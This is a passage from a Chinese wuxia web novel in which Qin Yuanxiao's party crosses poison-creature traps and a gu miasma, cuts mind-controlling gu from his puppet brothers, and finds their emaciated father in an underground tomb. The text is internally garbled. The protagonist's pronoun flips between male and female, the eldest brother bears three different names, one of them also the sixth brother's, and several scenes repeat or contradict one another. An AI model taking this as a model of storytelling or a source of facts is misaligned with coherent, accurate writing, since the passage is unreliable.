两人同时向后跃出数丈,这才看清前方竟有一道深沟横亘。沟壁陡峭,显然是人为开凿,其中必有玄机。 秦远霄蹙眉打量着这条沟渠,心中警惕更甚。他取出一根长绳,在树上系好,准备下去查看。 “我去查看。”他说着,小心翼翼地靠近深沟。 当看清沟中景象时,即便是他也不禁倒吸一口凉气。密密麻麻的毒蝎布满沟底,它们感应到有人靠近,纷纷举起毒钩向上爬来。 这些蝎子体型硕大,壳甲呈现出不正常的青黑色,显然是经过特殊培育的毒物。普通的驱虫手段恐怕难以奏效。 秦远霄立即取出雄黄粉撒下,却见那些蝎子只是稍作躲避,便又蠢蠢欲动。它们似乎对雄黄产生了抗性,这更加印证了他的猜测。 “六哥,准备点火!” 他迅速取出一个小瓶,将里面的液体泼向蝎群。这是他特制的燃油,专门用来对付这些难缠的毒物。 火折子划过一道弧线,落入沟中。“轰”的一声,火焰腾空而起,蝎子被烈火吞噬的滋啦声不绝于耳。浓烟升腾,带着一股令人作呕的焦臭。 等火势渐小,两人上前查看,只见沟中尽是焦黑的蝎尸。秦远霄用剑挑开几具蝎尸,确认它们确实已经死透。 “我们抓紧时间。”秦远霄说着,和六哥一起跃过深沟。 谁知刚走没多远,秦远霄就觉得脚下一软。低头一看,竟是踩到了一只玉斑蛙!这种剧毒之物他在沧澜山庄时见过,一旦被其毒液沾染,轻则瘫痪,重则丧命。 更糟的是,四周突然冒出无数只玉斑蛙,朝他们包围而来。这些蛙类体型不大,却异常灵活,跳跃间闪烁着七彩的光芒,煞是好看,却也危险至极。 秦远霄立刻吞下解毒丸,同时取出雄黄粉应对。他将雄黄粉撒成一圈,暂时阻挡住了玉斑蛙的进攻。 “六哥,小心它们的毒液!”秦远霄一边提醒,一边寻找突破口。这些玉斑蛙显然是有组织的在围攻他们,必须尽快找到破局之法。 他心中暗暗思量,若是墨圆儿在就好了,上次就是她驯服了这些玉斑蛙。想起媳妇儿那双灵动的眼睛,他不禁露出一丝苦笑。如今只能寄希望于雄黄粉能有些许作用了。 雄黄粉在空中划出一道金色弧线,玉斑蛙的动作迟缓了片刻。秦远霄正要松一口气,却见那些毒物很快恢复如常,蹦跳得比之前更加灵活。 “小心!”六哥一把拉住秦远霄,但还是晚了一步。几只玉斑蛙已经碰到了他们的衣袖,留下一片湿漉漉的痕迹。 秦远霄下意识地摸了摸腰间的香囊,那是媳妇儿特意为他准备的解毒丸。还好有这个护体,否则现在怕是已经中毒倒地。 “这些害人的东西!”秦远霄咬牙切齿,掌心凝聚起一团火焰。火光映照下,他的面容显得格外冷峻。 “嘶......”玉斑蛙发出刺耳的叫声,在烈火中化为灰烬。 六哥拍了拍衣袖上的灰尘:“九弟,这些毒物明显是有人故意放在这里的。” “我知道。”秦远霄眉头紧锁,目光扫向湖边若隐若现的人影,“先过去看看。” 两人刚迈出几步,前方突然弥漫起一片白色雾气。浓郁的香味扑面而来,秦远霄瞬间屏住呼吸。这味道,他再熟悉不过。 “六哥,是沧澜的迷药!”秦远霄声音紧绷。当初就是这种迷药,差点让他们全军覆没。 六哥也认出了这股味道,脸色瞬间变得凝重:“虽然有解毒丸护体,但还是要小心。这老狐狸向来诡计多端。” 秦远霄从怀中摸出两块布巾,递给六哥一块:“掩住口鼻,速速通过。小心脚下,别中了其他陷阱。” 两人屏气凝神,小心翼翼地穿过蛊障。白雾渐渐散去,湖边的景象终于清晰可见。 “三哥!”六哥惊呼出声。只见湖边躺着几个人影,正是失踪多日的三哥等人。 秦远霄心头一紧,还未来得及上前查看,树丛中突然窜出两道身影。那两人蓬头垢面,衣衫褴褛,手中握着锋利的匕首,直取他们面门。 秦远霄与六哥本能地闪身躲避,待看清来人面容,两人皆是心头一震。 “大哥?二哥?”秦远霄难以置信地看着眼前的两人。他们的眼神空洞无神,动作机械而狠辣,完全没有认出自己的兄弟。 “六哥,他们中了魇魂蛊!”秦远霄一边躲闪一边喊道。这种蛊毒他见过,能让人完全丧失意识,变成听命于施蛊者的傀儡。 六哥也认出了症状:“该死的沧澜,居然用这种歹毒的手段!” 面对亲兄长的攻击,秦远霄不敢用重手,只能且战且退。匕首一次次擦过衣袖,留下道道裂痕。 “六哥,别伤到他们!”秦远霄提醒道。他的心揪成一团,看着平日最敬重的大哥二哥变成这副模样,恨不得立刻找出沧澜,将他碎尸万段。 第二百二十九章 突然,秦远霄眼前一亮,想起了随身携带的迷药。这是媳妇儿给他防身用的,现在正好派上用场。 趁着大哥二哥攻来的空档,秦远霄迅速掏出药包,撒向两人。药粉在空中飘散,大哥二哥的动作逐渐迟缓,最后缓缓倒下。 秦远霄和六哥赶紧上前扶住他们。 “先看看三哥他们!”秦远霄顾不得多想,冲向湖边。 三哥面色发青,呼吸微弱,手中还紧握着一块手帕。看来他也发现了蛊障,只是防护不够周全。庞勇等人的情况也不容乐观,都已经昏迷不醒。 “九弟,他们...”六哥声音发颤,显然被眼前的场景吓到了。 “别急。”秦远霄强迫自己冷静下来。他取出解毒丸,将药丸仔细碾碎,用清水送服。 时间一分一秒过去,三哥等人的脸色渐渐好转,呼吸也平稳了许多。秦远霄这才松了口气,转而查看大哥二哥的情况。 秦远霄站在幽谷前,眉头微蹙。冷风吹起她的发丝,带来一丝潮湿的气息。远处传来几声野兽的嘶吼,在寂静的夜里格外清晰。 这里虽然暂时安全,但露天之处终究不是久留之地。他的目光在四周游移,很快锁定了一个不大的洞口。洞口虽然隐蔽,但从地上细微的足迹痕迹来看,应该经常有人出入。 “六哥,我们得把人都抬进去。”他转头看向身旁的六哥,声音里带着几分急切。夜色已深,若是再耽搁,恐怕会引来不必要的麻烦。 六哥默默点头,立即上前帮忙。他们先将昏迷的大哥、二哥搬运进去,动作轻柔而谨慎。每一次抬举,秦远霄都能感受到兄长们骨瘦如柴的身躯,心中泛起阵阵酸楚。 搬运完大哥二哥,他们又折返来抬三哥和庞勇等人。月光下,昏迷的众人面色苍白,衣衫褴褛,狼狈不堪。 幽谷前的地面光秃秃的,既无青苔也无杂草,显然经常有人出入。秦远霄蹲下身,手指轻轻抚过地面的痕迹,眼中闪过一丝了然。联想到大哥二哥方才就是从这个方向冲出来的,这处幽谷应该就是他们这些年的栖身之所。 洞内光线昏暗,空气中弥漫着淡淡的霉味。借着从洞口透进来的月光,秦远霄看到两块单人床大小的青石板。石板表面光滑平整,边缘处有些磨损,显然是长期使用留下的痕迹。 他的心猛地揪了一下,喉咙发紧。石板上空无一物,连最基本的铺盖都没有。再看大哥二哥身上破烂不堪的衣衫,这些年他们过的是怎样的生活,不言而喻。 地上散落着白森森的兽骨,杂乱无章地堆在角落里。有的已经泛黄,有的还带着些许新鲜的痕迹。秦远霄不敢细想这些年兄长们是如何在这荒山野岭中求生。 “六哥,先把大哥二哥放在石板上。”他强压下心中翻涌的情绪,声音有些发涩。现在最重要的是为两位兄长取出蛊虫。 迷药效果只有一个时辰,必须在他们醒来前解除魇魂蛊。虽然是第一次亲自操作,但他看过媳妇儿解蛊多次,心中已有把握。 “六哥,帮我准备些干净布巾和清水。”秦远霄深吸一口气,手指微微发颤。这一次,他一定要救回兄长们。 以往有界阙里的仪器帮忙定位,手术才能万无一失。但此刻条件有限,只能另想办法。她取出从沧澜先生那里搜来的装有母蛊的瓷瓶,轻轻摇晃。 瓷瓶中传来细微的响动,那是母蛊对子蛊的感应。秦远霄屏住呼吸,仔细观察着兄长们的身体变化。 “六哥,你盯着大哥的手臂,我来试探母蛊。”她一边说着,一边小心翼翼地移动瓷瓶。 很快,二哥手臂上出现了一个黄豆大小的凸起,皮肤微微隆起,像是有什么东西要破皮而出。 “找到了!”秦远霄将瓷瓶递给六哥,语气中带着一丝紧张,“等下看到蛊虫就立刻收进瓶中。” 她深吸一口气,取出随身携带的手术刀。刀刃在月光下泛着冷光,她的手稳稳地握着,不敢有丝毫颤抖。 手起刀落,她在二哥手臂上划开一道口子。鲜血顺着伤口渗出,在昏暗的光线下显得格外刺目。 一只黑色的蛊虫露出头来,六哥眼疾手快,立刻将其收入瓶中。蛊虫发出“嗞嗞”的声响,显然对母蛊的气息极为渴望。 秦远霄迅速为伤口消毒缝合。虽然缝合技术不算精湛,但总算止住了血。她擦了擦额头的汗水,又开始为大哥取蛊。 整个过程紧张而安静,只有风吹过树叶的沙沙声和远处偶尔传来的兽吼声。终于,两只蛊虫都被成功取出。 额头上已经沁出了细密的汗珠,但她仍不忘安慰六哥:“蛊虫已经取出来了,等迷药药效过去,兄弟俩马上就该睁开眼了。” 处理完蛊虫,秦远霄又给两位兄长服下解毒丸,仔细包扎好伤口。 就在这时,身后传来轻微的响动。转身一看,只见三哥正睁着浮肿的双眼,茫然地看着四周。他的眼睛因为长期的折磨而布满血丝,眼角还有未干的泪痕。 “三哥!”秦远霄和六哥赶紧蹲到他身边。三哥的手冰凉,身子还在微微发抖。 三哥使劲揉了揉眼睛,似乎还不敢相信眼前的一切是真的。他的嘴唇干裂,说话时带着几分沙哑:“六弟、九弟...这是哪里?” “玄陲青岫山。”秦远霄轻声回答,手轻轻握住三哥的手,想要给他一些温暖。 看三哥想要坐起来,兄弟俩赶紧搀扶。三哥的身子很轻,仿佛一阵风就能吹倒。他的目光扫过周围,最后落在昏迷的同伴身上。 “庞勇他们...怎么样了?”三哥声音中带着焦急和担忧。即便自己也身受重伤,他第一时间想到的还是同伴的安危。 “已经服过解药,转眼间便要苏醒过来。”秦远霄安慰道,同时取出一些干粮和水递给三哥。 听到这个回答,三哥稍稍放心。但当他的目光落在石板上的两个人影时,又露出疑惑的神色:“他们是...” “一个是老大一个是老二。”秦远霄简单将寻找父兄的经过讲述了一遍,声音轻柔而克制。 三哥激动地抓住她的手臂,想要站起来。他的眼中闪烁着泪光,声音哽咽:“真的是大哥二哥?这些年...这些年我们找了好久...” 然后脸色骤变,“他们...” “已经没事了。”秦远霄安慰道,“蛊虫已经取出来了。” “ 三哥这才松了口气,随即又想起什么:“九弟,小心沧澜!他...” 第二百三十章 秦远霄扶住摇摇欲坠的三哥,心中五味杂陈。他看着石板上昏迷的兄长们,看着满地的兽骨,看着这个阴暗潮湿的幽谷,一时间说不出话来。 “我知道。”秦远霄眼中闪过一丝寒意,“等你们都好起来,我一定会找他算账。” 六哥检查了一下周围:“这里不安全,我们得赶紧离开。” 秦远霄点头:“等大哥二哥醒来就动身。六哥,你去找些干柴,天黑前我们得生火取暖。” 看着昏睡的兄长们,秦远霄握紧了拳头。沧澜,这笔账我记下了。等找到你,一定要你血债血偿。 夜幕降临,篝火映照着众人疲惫的面容。秦远霄守在火边,目光警惕地扫视四周。这一次虽然救回了兄长们,但他知道,真正的较量才刚刚开始。 沧澜先生的手段果然狠辣。这蛊障不仅加入了迷药,还掺杂了软骨散的成分。此时的三哥浑身瘫软,连最基本的站立都成了奢望。 潮湿的空气中弥漫着一股若有若无的甜腻气息,那是蛊障残留的味道。秦远霄蹙眉,这味道让他想起了五年前那个血色的黄昏。 “九弟...”三哥的声音很轻,像是用尽了全身力气,“我究竟是怎么回事?浑身软得像棉花一样,手脚都不听使唤。” 秦远霄握住三哥微凉的手,即便跟在薇薇身边学过医术,面对这种情况他也束手无策。“三哥别担心,应该是毒素的后遗症,休息一会儿就好。” 话虽如此,他心里却没有半分把握。洞中的火把发出细微的噼啪声,照亮了三哥眼中的迷茫。 庞勇等人也相继醒来,情况和三哥如出一辙。他们东倒西歪地靠在石壁上,连抬手的力气都没有。 “水...给我点水...”庞勇艰难地开口,声音嘶哑。 六哥连忙拿出水囊,小心翼翼地喂他们喝水。每个人都只能喝一小口,因为他们现在的存水不多了。 眼下虽然找到了失散的兄弟,但父亲的下落仍是未知。大哥二哥尚未清醒,其他人又都失去了行动能力,这让秦远霄陷入两难。 他不能贸然离开,万一大哥二哥醒来时出现什么状况,后果不堪设想。六哥虽然可以出去寻找,但他的武功远不及自己,独自行动太过危险。 洞外传来窸窸窣窣的声响,像是有什么东西在移动。秦远霄警觉地握紧了剑柄,但很快又放松下来——只是一只野兔。 “三哥,你们是怎么找到这里的?”他决定先了解情况。 三哥靠在石壁上,微闭着眼睛:“说来也是机缘巧合。我们在玄陲找了将近三个月,几乎翻遍了每个角落,就剩这青岫山没查。” “当时我就觉得青岫山有些古怪,这里的树木和荆棘都与其他地方不同。树叶的形状很奇特,像是经过人工培育。” 说到这里,三哥的眼中闪过一丝后怕:“刚进山就遇到了成群的毒蝎,那些蝎子体型比寻常的大了一倍,多亏庞勇反应快,咱们才死里逃生。” “后来又遇到了五彩斑斓的蛤蟆,那颜色诡异得很,一看就知道是剧毒。多亏有你跟弟妹送来的避邪粉......” 听到这里,秦远霄心中一紧。这些毒物显然是人为饲养的,更加证实了父亲很可能被囚禁在此。 “最后我们遇到了蛊障,”三哥继续道,声音中带着几分自嘲,“起初毒性并不强,我们以为掩住口鼻就能过去。谁知越往里走毒气越重,等想回头已经来不及了。” “那些毒气像是有生命一般,追着我们不放。我们跑了很久,最后实在支撑不住,就在这里昏了过去。” 秦远霄看着三哥说话时微微颤抖的手指,心中涌起一阵酸涩。五年了,他们一直在寻找父亲的下落,从未放弃。 就在这时,二哥那边传来了动静。 “二哥醒了!”六哥惊喜的声音响起,打破了洞中的沉寂。 秦远霄连忙走到二哥身边,只见二哥正艰难地睁开眼睛,目光有些涣散。 “二哥,你是否还记得我?” 秦嘉志眯着眼打量了他半晌,眼中闪过一丝困惑:“九弟?你...怎么变了这么多?” 五年不见,当年的少年已经长成了英俊挺拔的青年。二哥伸手想要触碰他的脸,却因为无力而落空。 “是我,二哥。我都奔二的人了。”秦远霄扶住二哥的手,声音有些哽咽。 “什么?”二哥显然还没从震惊中回过神来,“已经...五年了吗?” 这时大哥也醒了过来,秦远霄和六哥赶紧过去查看。大哥的面色比其他人要好一些,但眉头紧锁,似乎在忍受着什么痛苦。 “大哥,我是徒扬。”六哥紧紧抓着大哥的手,声音中带着几分颤抖。 秦君瑞的情况似乎比二哥好些,已经能扶着六弟坐起来。他看着面前陌生又熟悉的九弟,眼中闪过一丝惊讶,但很快就恢复了平静。 “六弟、九弟,我究竟是怎么回事?”大哥环顾四周,目光在每个人身上停留片刻。 大哥一如既往的冷静自持,这让秦远霄稍稍安心。至少,他们都还记得彼此。 “大哥,你们中了毒。”秦远霄简单地解释了现状,“现在我们被困在这里,外面还有蛊障。” 大哥沉默了片刻,问道:“父亲的消息可有眉目?” “还没有。”秦远霄摇头,“但这里的种种迹象表明,父亲很可能就在附近。” “那些毒物和蛊障都不是自然形成的,”三哥插话道,“一定是有人在背后操控。” 大哥点点头:“沧澜先生...果然是他。” 洞中一时陷入沉默。五年前的那场变故,沧澜先生究竟扮演了什么角色?为什么要对他们赶尽杀绝? 火把的光芒在石壁上投下摇曳的影子,像是在跳着诡异的舞蹈。秦远霄看着兄长们疲惫的面容,心中百感交集。 五年的分离,五年的追寻,他们终于重聚了。但这并不是结束,而是新的开始。父亲还在某处等待着他们,而沧澜先生的阴谋也还未揭开。 “我们得想办法离开这里,”大哥打破了沉默,“但首先要解决毒的问题。” 秦远霄看了看洞外,天色已经完全暗了下来。夜晚的山林充满危险,尤其是在这个布满毒物的地方。 “今晚先休息,”他说,“等天亮再做打算。我来守夜。” 第二百三十一章 没人反对这个提议。他们都需要休息,需要时间来恢复体力。秦远霄靠在洞口的石壁上,握紧了手中的剑。 夜风吹进洞中,带来一丝凉意。远处传来野兽的叫声,在寂静的夜色中显得格外清晰。秦远霄的目光投向漆黑的夜空,不知道父亲此刻在何方。 秦远霄看着眼前的两位兄长,心中涌起一丝暖意。月光如水般倾泻而下,将三人的身影拉得修长。夜风徐徐,带着山林特有的清冽气息,吹散了些许燥热。 “大哥、二哥,我知道你们担心,但这些年我也不是当初那个需要你们保护的小九了。”秦远霄的声音不大,却透着一股坚定。他下意识地摩挲着手中的匕首,冰凉的触感让他的思绪愈发清晰。 大哥秦星海转过身,目光在秦远霄身上停留片刻。月色下,九弟的轮廓较之记忆中更显坚毅。那个总是躲在他身后的少年,如今已经能独当一面了。 “确实,”秦星海微微颔首,“你变了很多。” 二哥秦星林走近几步,拍了拍秦远霄的肩膀:“九弟说得对,这些年你的成长,我们都看在眼里。” 话音未落,林间突然传来一阵窸窣声。秦远霄瞬间绷紧神经,手中匕首已然出鞘。下一刻,一只体型硕大的斑斓猛虎从灌木丛中窜出,金色的瞳孔在夜色中闪烁着慑人的光芒。 “小心!”秦远霄一个侧身,堪堪避开虎爪的袭击。匕首在月光下划出一道寒芒,直取猛虎咽喉。 “吼!”猛虎吃痛,发出一声震天咆哮。它后退几步,尾巴高高扬起,显然已经进入了攻击状态。 六哥秦徒扬适时赶到,手中火把挥舞出一道火光,逼退了猛虎的第二波攻势。四兄弟很快调整站位,将猛虎围在中间。 秦远霄看着眼前的老虎,月光下那双幽绿的兽瞳泛着诡异的光芒。他的手指无意识地摩挲着腰间,此刻最趁手的兵器却不在身边。 老虎的伤口还在淌血,暗红的液体在月色下显得格外刺目。这头猛兽虽然被大哥二哥打伤,却依然凶悍异常,喉咙里不断发出低沉的咆哮声。 “这畜生的伤势不轻。”六哥低声说道,眉头紧锁。 秦远霄没有应声。没有武器在手,单凭拳脚功夫确实难以一击毙命。他的目光紧紧追随着老虎的动向,忽然注意到什么,瞳孔微微一缩。 老虎吃痛,后退的方向正是那片令人生畏的沼泽地。 “那边不是...”秦远霄话未说完,就见那头猛兽竟朝着沼泽狂奔而去。 “等等!”大哥厉声喝止,却已经来不及了。 傍晚时分他们曾经查探过那片区域,连轻功高手都难以通过的泥沼,老虎为何偏要往那个方向逃窜?除非...那片沼泽另有玄机。 “兄长们小心,这老虎有古怪。”秦远霄一边提醒,一边快步追了上去。夜风掠过耳畔,带来阵阵寒意。 老虎庞大的身影在月色下显得格外醒目,但令人惊诧的是,它竟然毫不犹豫地冲向了沼泽。那双幽绿的眼睛里似乎闪过一丝人性化的狡黠。 秦远霄心中一紧,眼看着那庞然大物瞬间消失在泥沼之中。没有挣扎,没有下沉的过程,就这样凭空消失了。 “这...这不对劲。”六哥也追了上来,满脸惊疑不定。他的手不自觉地握紧了腰间的佩剑,“正常的沼泽地不该是这样的。” 二哥蹲下身,仔细观察着沼泽边缘:“就算是落入沼泽,也该是慢慢下沉才对。可这老虎却像是被什么东西吸进去一般,转眼就不见了踪影。” “让我试试。”大哥说着就要往前走,脚步坚定。 “且慢!”秦远霄一把拉住大哥的衣袖,掌心传来的力道透着焦急,“此地蹊跷,不可贸然涉险。” 他弯腰捡起一块石头,朝沼泽中扔去。石头落入泥沼的瞬间,竟然没有发出任何声响就消失不见。连水花都没有溅起一朵。 “这哪里是什么沼泽,分明是个陷阱。”二哥沉声道,眼中闪过一丝警惕。 就在此时,一声虎啸从沼泽下方传来,声音清晰可闻,丝毫不像是被泥水淹没的样子。那声音仿佛就在脚下,震得地面都在微微颤动。 “下面...有界阙?”六哥喃喃自语。 秦远霄眼中精光一闪:“这下面另有乾坤。”不等兄长们阻拦,他已经纵身跃入沼泽之中。 “九弟!”几位兄长的惊呼声被甩在身后。 下坠的感觉并不好受,冰冷的泥浆包裹着全身,但奇怪的是并没有想象中的窒息感。大约三丈深的距离后,双脚稳稳落在坚实的地面上。 昏暗的油灯光线中,那只老虎正虎视眈眈地盯着他。受伤的野兽往往最为危险,它的眼神中充满了嗜血的狂躁。 秦远霄手中匕首一闪,直取猛兽咽喉。多年征战的经验让他对危险有着本能的直觉,这一击又快又准,老虎连挣扎几下就断了气。 “九弟!”大哥的声音从上方传来,带着掩饰不住的担忧。 “我没事,这下面很安全。”秦远霄朗声回应,声音在地下界阙里激起阵阵回响。 话音未落,几位兄长已经相继跳了下来。他们身上都沾满了泥浆,但此刻已顾不得这些。 借着微弱的光线,秦远霄仔细打量着这个地下空间。四周都是普通的石壁,上面爬满了不知名的藤蔓,散发着淡淡的腐朽气息。但他相信,这里一定另有玄机。 “这些油灯...”二哥走到墙边,伸手摸了摸那盏还在燃烧的油灯,“看样子经常有人来此处。” 六哥环顾四周:“这么说,那只老虎也是有人故意放在这里的?” “很可能。”秦远霄点点头,“而且那人对这里的地形极为熟悉。” 大哥走到老虎尸体旁边蹲下,仔细检查着它的伤口:“这些伤...有些是我们造成的,但有些明显是更早之前留下的。” 地下室里一片寂静,几人的脚步声在石壁间回荡。空气中弥漫着一股潮湿腐朽的气息,墙壁上的火把投射出摇曳的光影,将几道身影拉得老长。 秦远霄走在最前面,手中的火把照亮了前方的路。他的步伐很慢,每一步都走得极为谨慎。虽然看不出有什么机关暗器,但在这种地方,小心一些总是好的。 第二百三十二章 忽然,他的手指在抚过冰冷的墙面时顿住了。那处石壁的触感与周围明显不同,不仅凹陷,而且表面也不如其他地方光滑。 “几位哥哥。”他压低声音,眼中闪过一丝兴奋,“你们过来看看这里。” 几位兄长闻声围拢过来。六哥伸手摸了摸那块石壁,眉头微皱:“确实不太一样。” “要不要试着推一推?”二哥提议道,目光在几人之间逡巡。 秦远霄点头,将手掌贴在石壁上。他先是轻轻施力试探,见没有异常后,才逐渐加大力度。 “轰隆隆——” 出乎意料的是,石板竟然轻易就被推开了。一股阴冷的气流扑面而来,几人下意识地后退了半步。 一条昏暗的通道出现在众人面前,墙壁上零星挂着几盏油灯,将通道照得影影绰绰。灯火摇曳间,墙上的影子仿佛活了过来,在无声地舞动。 “小心些。”大哥低声提醒,“这种地方不会这么简单。” 秦远霄点头,继续走在最前面。六哥紧跟在他身边,两人一前一后,默契地保持着警惕。其他人则散开成扇形,将可能的威胁降到最低。 通道很宽敞,约莫能容两人并肩而行。越往里走,温度越发低了下来。寒气似乎能渗透进骨头里,即便是习武之人也感到一阵阵的刺骨寒意。 “这温度不对劲。”六哥低声说道,一边说话一边呵出一口白气,“就算是地下,也不该这么冷。” 其他人闻言,不约而同地运起内力抵御寒气。秦远霄的眉头越皱越紧,这种诡异的寒意让他想起了某种可能性,但一时又说不上来。 走了约莫百步,映入眼帘的景象让人惊叹。 七颗夜明珠悬挂在顶部,将这处地下界阙照得亮如白昼。珠光流转间,映照出一副令人震惊的画面。 一口雕工精美的漆棺立在正中央,棺盖上雕刻着栩栩如生的飞凤与神猴,四角悬挂着银铃,在寂静中纹丝不动。棺材通体漆黑,在夜明珠的照耀下泛着幽幽的光泽。 但最令人心惊的,是跪在棺材前的那个人影。 那人形容枯槁,一头银发凌乱地披散着,身上的衣衫破烂不堪。他攥着几张冥币,面前放着一个铜盆,里面堆积着灰烬。那人保持着跪姿一动不动,仿佛已经在这里跪了很久很久。 “父亲!”几人几乎同时惊呼出声。 秦远霄快步上前,心脏狂跳不已。他小心翼翼地拨开遮住那人面容的银发,当看清那张熟悉的面孔时,所有人的眼眶都红了。 那确实是他们的父亲秦霆,但此刻的他与记忆中那个威严的父亲判若两人。他的脸颊深深凹陷,皮肤干枯发黄,眼窝深陷,整个人瘦得只剩下一把骨头。 大哥下意识地伸手要去扶父亲,却被秦远霄拦住了。 “且慢。”秦远霄俯身查看父亲的情况,先是试了试鼻息,又摸了摸颈部的脉搏。他的手指微微发抖,生怕触碰到的是最坏的结果。 “父亲还活着,但情况很不好。”确认到微弱的脉搏后,他长出一口气,从怀中掏出一个小瓶子。 这是媳妇儿给他的强心剂,虽然不该在兄长们面前显露,但此刻也顾不得那么多了。他轻轻托起父亲的头,将药剂一点点喂了进去。 “六哥,帮我喂些水。”秦远霄一边观察父亲的反应,一边吩咐道。 六哥连忙取出水囊,小心翼翼地喂了几口水。其他人则围在周围,紧张地看着这一切。 约莫一炷香的功夫,秦霆的气色才稍稍好转了一些。他的呼吸渐渐平稳,脸色也不再那么苍白。 秦远霄心中暗暗盘算着,沧澜先生被抓已有半月,父亲所中的魇魂蛊必定是失去了控制。这才导致他变成现在这副模样。 看着父亲消瘦的面容,他的心一阵阵发紧。那个老匹夫不仅控制了父亲,还把他关在这种阴森可怖的地方。这笔账,他一定要好好算一算。 “大哥,”秦远霄抬起头,“我们得先把父亲送回去。这里太冷了,对他的身体不好。” 大哥点头:“你说得对。二弟,你去外面看看情况如何。六弟,你在这里帮九弟照看父亲。我去准备软轿。” 几人分头行动,秦远霄则继续守在父亲身边。他注意到父亲手中还紧紧攥着那叠纸钱,想要取下来时却发现父亲握得极紧。 “父亲这是...在给谁烧纸?”六哥看着铜盆里的灰烬,低声问道。 秦远霄摇摇头,目光落在那口漆棺上。棺材通体漆黑,看不出年代,但那些雕刻的纹路却莫名地熟悉。他总觉得在哪里见过类似的图案,一时又想不起来。 就在这时,秦霆的手指动了动。 “父亲!”秦远霄连忙凑近。 秦霆缓缓睁开眼睛,浑浊的眼神逐渐聚焦。当看清眼前的人时,他的瞳孔猛地收缩,嘴唇颤抖着:“玖...远儿?” “是我,父亲。”秦远霄握住父亲的手,“您终于醒了。” 秦霆的目光在两个儿子脸上扫过,忽然剧烈地挣扎起来:“不...不能来这里...快走...快走!” “父亲您别激动!”秦远霄和六哥连忙按住他,“我们这就带您离开。” “不...不行...”秦霆喘着粗气,“那个人...那个人会回来...你们快走...” 秦远霄和六哥对视一眼,都从对方眼中看到了凝重。父亲这副样子,显然是被吓破了胆。到底是谁,能把堂堂秦家家主吓成这样? “父亲,”秦远霄压低声音,“是沧澜先生让您来这里的吗?” 秦霆猛地一颤,眼中闪过一丝惊恐:“不...不是他...是...是...” 话还没说完,他就剧烈地咳嗽起来。秦远霄连忙给他顺气,但父亲却像是被什么东西掐住了喉咙,脸色越来越难看。 “不好!”秦远霄察觉到不对,赶紧从怀中掏出银针。 但还没等他出手,秦霆就软软地倒了下去,再次陷入昏迷。 “父亲!” 就在这时,一阵阴风突然吹过,所有的灯火同时熄灭。整个地下界阙陷入一片漆黑,只剩下头顶的夜明珠发出幽幽的光。 “当啷”一声,漆棺四角的银铃突然响了。 秦远霄站在阴暗潮湿的墓室中,看着父亲苍白的脸庞,心中一阵刺痛。油灯的光芒在墙壁上投下摇曳的影子,空气中弥漫着一股腐朽的气息。 第二百三十三章 他轻轻抚摸着父亲干枯的手臂,能感受到那微弱的脉搏在皮肤下跳动。父亲的手臂瘦得只剩下皮包骨,曾经那个威严果断的家主,如今却憔悴得不成人形。 “只要母蛊还在我手中,父亲就暂时安全。”秦远霄在心里默默安慰自己。可父亲体内的魇魂蛊依然是个大问题,这种蛊虫会完全控制宿主的意识,让人变成一具没有思想的行尸走肉。 阴冷的空气中飘荡着若有若无的香火味,秦远霄的目光扫过墓室的每个角落。地上散落着各种动物的骨骸,有的已经发黄腐朽,有的还带着新鲜的血迹。老鼠、蛇、蜥蜴的残骸混杂在一起,散发着令人作呕的腐臭味。 大哥秦徒扬蹲下身,拾起一块泛黄的骨头仔细端详,声音中带着压抑的愤怒:“这些就是父亲这段时间的食物。” “沧澜那老匹夫!”二哥猛地一拳砸在墙上,指节因用力过猛而渗出血丝,“竟然让父亲在这种地方生活!” 六哥秦徒扬缓步走到墓室中央,那里摆放着一口雕花棺材。棺材通体漆黑,上面雕刻着繁复的花纹,在昏暗的光线下显得格外阴森。 “这应该就是钱荷的棺材了。”他冷笑一声,目光却被棺材旁的十个牌位吸引。 “你们快来看!”六哥的声音突然变得颤抖。其他人闻声围拢过来,只见牌位上赫然刻着秦家所有男丁的名字。更令人毛骨悚然的是,每个牌位上都标注着同一个死亡时间——七月初七。 “这老匹夫,竟敢如此算计我秦家!”六哥怒不可遏,一把将牌位扫进铜盆,掏出火折子点燃。火光映照在他扭曲的面容上,衬得整个人更加狰狞。 秦远霄看着熊熊燃烧的火焰,眼中闪过一丝狠厉。他大步走到棺材前,从腰间抽出匕首,用力撬开棺盖。沉重的棺盖砸在地上,激起一片灰尘。 里面空空如也,只有一套华贵的宫装和一个写着“爱妻钱荷之灵位”的牌位。宫装上的金线在火光下闪烁着冰冷的光芒,仿佛在无声地嘲笑着他们。 秦远霄将这些东西统统扔进火盆,看着那些象征着仇恨的物品在火焰中化为灰烬。就在这时,父亲秦霆突然微微动了动。 他机械地伸手去拿放在一旁的纸钱,似乎要继续进行祭拜。那僵硬的动作就像是被人操控的木偶,没有丝毫生气。 “父亲!”大哥连忙抱住他,声音中带着哽咽,“那是害我们全家的仇人啊!” 可秦霆毫无反应,空洞的眼神中看不到任何情绪,依旧执着地要烧纸。他的手指因长期握着纸钱而变形,指节处的皮肤已经磨出了厚厚的茧子。 秦远霄叹了口气,从后面轻轻抱住父亲。父亲的身体瘦得不成样子,仿佛一阵风就能将他吹倒。然而当他想将父亲抱起时,却发现父亲的双腿蜷缩成一个诡异的姿势,完全无法伸展。 “九弟,父亲这是......”二哥的声音颤抖着,说不出后面的话。 秦远霄心如刀绞。长期保持跪姿,导致父亲的腿已经完全僵硬了。他能想象到父亲是如何日复一日地跪在这里,为那个害他们全家的女人烧纸祭拜。 “先带父亲离开这里。”秦远霄强迫自己冷静下来,他现在不能被情绪支配。 六哥主动请缨:“让我先试试上去的路。”他运起轻功,借着墙壁的支撑点,很快就到达了顶部的沼泽处。确认安全后,六哥跳回来道:“没问题,我来背父亲上去。” 秦远霄看了看父亲苍白的脸色,轻轻点头。他小心翼翼地帮助六哥将父亲背起来,生怕碰到父亲僵硬的双腿。 就在这时,父亲突然挣扎起来,似乎还想留在这里继续他的祭拜仪式。他那干裂的嘴唇微微颤动,发出含糊不清的呢喃:“澜儿...澜儿...” “父亲!”秦远霄握住父亲的手,感受着那冰冷的温度,“我们带您回家。” 可父亲依然在不停地挣扎,仿佛这个阴暗潮湿的墓室才是他的归宿。秦远霄看着父亲空洞的眼神,心中的怒火越烧越旺。 他转身看向那个正在燃烧的铜盆,火焰中钱荷的牌位已经化为灰烬。秦远霄紧握着拳头,指甲深深陷入掌心的肉里。 “沧澜,我一定会让你付出代价。”他在心里暗暗发誓。 六哥背着父亲,小心翼翼地攀爬着墙壁。其他人紧随其后,生怕出现任何意外。秦远霄走在最后,回头看了一眼这个囚禁了父亲多年的地方。 